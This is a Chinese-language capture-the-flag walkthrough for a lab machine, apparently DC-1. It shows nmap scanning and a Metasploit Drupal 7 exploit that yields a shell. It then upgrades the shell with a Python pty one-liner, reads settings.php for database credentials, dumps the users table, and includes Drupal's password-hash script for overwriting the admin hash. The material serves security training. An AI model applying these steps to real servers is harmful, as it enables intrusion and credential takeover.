环境配置

首先环境配置，需要将靶机和kali设置为NAT模式

当前网段是192.168.100.0/24

信息搜集

nmap扫一下网段，主机探测

1	nmap -sn 192.168.100.0/24

192.168.100.134就是我们要打的靶机。全量扫描一下

1	nmap -T4 -A 192.168.100.134

web指纹识别

1	whatweb -v 192.168.100。134

信息搜集如下：

端口服务信息：

22/tcp：ssh服务开启，版本：OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)

80/tcp：HTTP服务开启，版本：Apache httpd 2.2.22 ((Debian))

111/tcp: rpcbind服务开启，版本：2-4 (RPC #100000)

web指纹信息：

Apache/2.2.22 (Debian)

PHP 5.4.45

CMS Drupal 7

JQuery

漏洞利用

漏洞利用关键在CMS Drupal 7，使用metasploit查找一下相关漏洞

1 2	use 1 show options

填写攻击目标靶机的ip

1 2	set RHOSTS 192.168.100.134 run

拿到shell

看一下flag1.txt文件的内容

每个优秀的CMS都需要一个配置文件——你的也不例外。

寻找一下配置文件，Drupal的核心配置文件时settings.php

1 2	shell find / -name settings.php

暴力破解和字典攻击并非获取访问权限的唯一途径（而且你肯定需要访问权限）。

配置给出了数据库的配置信息先登入一下看看

这里直接连不行，meterpreter弹得时非交互式shell，修改为交互式shell

1	python -c 'import pty;pty.spawn("/bin/bash")'

连接数据库

1 2	USE drupaldb； show tables；

1	select * from users；

这里储存的密码时加密后的，接下来就是想办法获取或者修改admin用户的密码，或者新建admin用户。

解法1：修改admin用户的密码

搜索与密码有关的文件

1	find / -name password

#!/usr/bin/php
<?php

/**
 * Drupal hash script - to generate a hash from a plaintext password
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param password1 [password2 [password3 ...]]
 *  Plain-text passwords in quotes (or with spaces backslash escaped).
 */

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
  $version  = PHP_VERSION;
  echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
       PHP version {$version}.
\n
EOF;
  exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Generate Drupal password hashes from the shell.

Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"

All arguments are long options.

  --help      Print this page.

  --root <path>

              Set the working directory for the script to the specified path.
              To execute this script this has to be the root directory of your
              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
              running on Unix). Use surrounding quotation marks on Windows.

  "<password1>" ["<password2>" ["<password3>" ...]]

              One or more plan-text passwords enclosed by double quotes. The
              output hash may be manually entered into the {users}.pass field to
              change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

  ./scripts/{$script}
\n
EOF;
  exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");